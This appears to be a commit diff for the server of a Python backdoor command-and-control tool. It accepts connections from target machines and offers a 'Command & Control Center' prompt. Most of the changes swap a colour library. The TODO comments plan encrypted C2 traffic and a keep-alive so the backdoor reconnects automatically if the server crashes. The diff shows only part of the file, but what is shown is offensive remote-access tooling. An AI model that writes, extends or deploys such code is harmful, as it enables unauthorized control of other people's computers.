|
1 | 1 | import socket
|
2 |
| -import termcolor |
3 | 2 | import json
|
4 | 3 | import os
|
5 | 4 | import threading
|
6 | 5 |
|
7 |
| -from colour import banner |
| 6 | +# Local class imports |
| 7 | +from colour import banner, Colour |
8 | 8 |
|
9 | 9 |
|
10 | 10 | def reliable_recv(target):
|
@@ -150,7 +150,9 @@ def accept_connections():
|
150 | 150 | target, ip = sock.accept()
|
151 | 151 | targets.append(target)
|
152 | 152 | ips.append(ip)
|
153 |
| - print(termcolor.colored(str(ip) + ' has connected!', 'green')) |
| 153 | + # print(termcolor.colored(str(ip) + ' has connected!', 'green')) |
| 154 | + print(Colour().green(str(ip) + " has connected!")) |
| 155 | + print('[**] Command & Control Center: ', end="") |
154 | 156 | except:
|
155 | 157 | pass
|
156 | 158 |
|
@@ -205,7 +207,8 @@ def c2():
|
205 | 207 | elif command[:4] == 'help':
|
206 | 208 | c2_help_manual()
|
207 | 209 | else:
|
208 |
| - print(termcolor.colored('[!!] Command Doesnt Exist', 'red')) |
| 210 | + # print(termcolor.colored('[!!] Command Doesnt Exist', 'red')) |
| 211 | + print(Colour().red('[!!] Command Doesnt Exist')) |
209 | 212 | except (KeyboardInterrupt, SystemExit):
|
210 | 213 | if input('\nDo you want to exit? yes/no: ') == 'yes':
|
211 | 214 | break
|
@@ -235,10 +238,9 @@ def exit_c2(targets): # function of: elif command == 'exit':
|
235 | 238 | sock.listen(5)
|
236 | 239 | t1 = threading.Thread(target=accept_connections)
|
237 | 240 | t1.start()
|
238 |
| -# print(colour.Colour()) |
239 | 241 | print(banner())
|
240 | 242 | print('Run "help" command to see the usage manual')
|
241 |
| -print(termcolor.colored('[+] Waiting For The Incoming Connections ...', 'green')) |
| 243 | +print(Colour().green('[+] Waiting For The Incoming Connections ...')) |
242 | 244 |
|
243 | 245 | # c2()
|
244 | 246 |
|
@@ -291,25 +293,17 @@ def exit_c2(targets): # function of: elif command == 'exit':
|
291 | 293 | elif command[:4] == 'help':
|
292 | 294 | c2_help_manual()
|
293 | 295 | else:
|
294 |
| - print(termcolor.colored('[!!] Command Doesnt Exist', 'red')) |
| 296 | + print(Colour().red('[!!] Command Doesnt Exist')) |
295 | 297 | except (KeyboardInterrupt, SystemExit):
|
296 | 298 | if input('\nDo you want to exit? yes/no: ') == 'yes':
|
297 | 299 | sock.close()
|
298 |
| - print(termcolor.colored('\n[-] C2 Socket Closed! Bye!!', 'yellow')) |
| 300 | + print(Colour().yellow('\n[-] C2 Socket Closed! Bye!!')) |
299 | 301 | break
|
300 | 302 | except ValueError as e:
|
301 |
| - print(termcolor.colored('[!!] ValueError: ' + str(e), 'red')) |
| 303 | + print(Colour().red('[!!] ValueError: ' + str(e))) |
302 | 304 | continue
|
303 | 305 |
|
304 |
| -""" |
305 |
| -Possibly improvements |
306 |
| -
|
307 |
| --Consider encrypting the connection using custom (AES128-GCM-DH-SHA256) or HTTPS (lots of traffic w/ HTTP) |
308 |
| --Implement a 'pulse' feature between server and backdoor (Keep alive): |
309 |
| -
|
310 |
| -This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket |
311 |
| -and will attempt to run connection() function again. |
312 |
| -""" |
313 |
| - |
314 | 306 | # TODO: encrypt connection
|
315 | 307 | # TODO: Implement a 'pulse' feature between server and backdoor (Keep alive)
|
| 308 | +# This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket |
| 309 | +# and will attempt to run connection() function again. |
0 commit comments